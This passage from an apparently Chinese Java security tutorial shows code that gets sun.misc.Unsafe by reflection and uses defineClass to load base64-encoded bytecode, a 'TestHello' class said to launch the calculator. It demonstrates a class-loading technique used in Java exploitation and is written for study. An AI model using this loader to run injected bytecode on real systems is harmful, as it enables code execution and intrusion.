uL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAA90cmFuc2xldFZlcnNpb24BAAFJAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEAEAARAAAAAAADAAEAEgATAAIAFAAAAI8ABgAGAAAAUyq3AAEqEGW1AAISA0wSBLgABU0sEgYEvQAHWQMSCFO2AAlOLBIKA70AB7YACToEGQQsA70AC7YADDoFLRkFBL0AC1kDEg1TtgAMV7IADiu2AA+xAAAAAQAVAAAAKgAKAAAADQAEAA4ACgAPAA0AEQATABIAIwATAC8AFAA7ABUASwAWAFIAFwAWAAAABAABABcAAQAYABkAAgAUAAAAGQAAAAMAAAABsQAAAAEAFQAAAAYAAQAAABwAFgAAAAQAAQAaAAEAGAAbAAIAFAAAABkAAAAEAAAAAbEAAAABABUAAAAGAAEAAAAhABYAAAAEAAEAGgABABwAAAACAB0=";
    public static void main(String[] args) throws Exception {
        // 反射获取Unsafe的theUnsafe成员变量
        Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
        // 反射设置theUnsafe访问权限
        theUnsafeField.setAccessible(true);
        // 反射获取theUnsafe成员变量值
        Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
        //将准备好的base64加密的字节码解码
        byte[] codes = Base64.getDecoder().decode(testClassBase64);

        ClassLoader clazzLoader = ClassLoader.getSystemClassLoader();
        ProtectionDomain domain = new ProtectionDomain(
                new CodeSource(null, (Certificate[]) null), null, clazzLoader, null
        );
        Class clazz = unsafe.defineClass("TestHello", codes, 0, codes.length, clazzLoader, domain);
        clazz.newInstance();
    }
}

这里使用的字节码还是之前我们使用的TestHello,创建实例会调用计算器

输出结果

1666976342037

参考文章

https://www.cnblogs.com/chengez/p/ClassLoader.html

https://www.cnblogs.com/shiblog/p/15896520.html

https://javasec.org/javase/ClassLoader/

https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html

https://blog.csdn.net/nobaldnolove/article/details/125819901

https://blog.csdn.net/Xxy605/article/details/126928128

最后修改:2022 年 11 月 11 日
如果觉得我的文章对你有用,请随意赞赏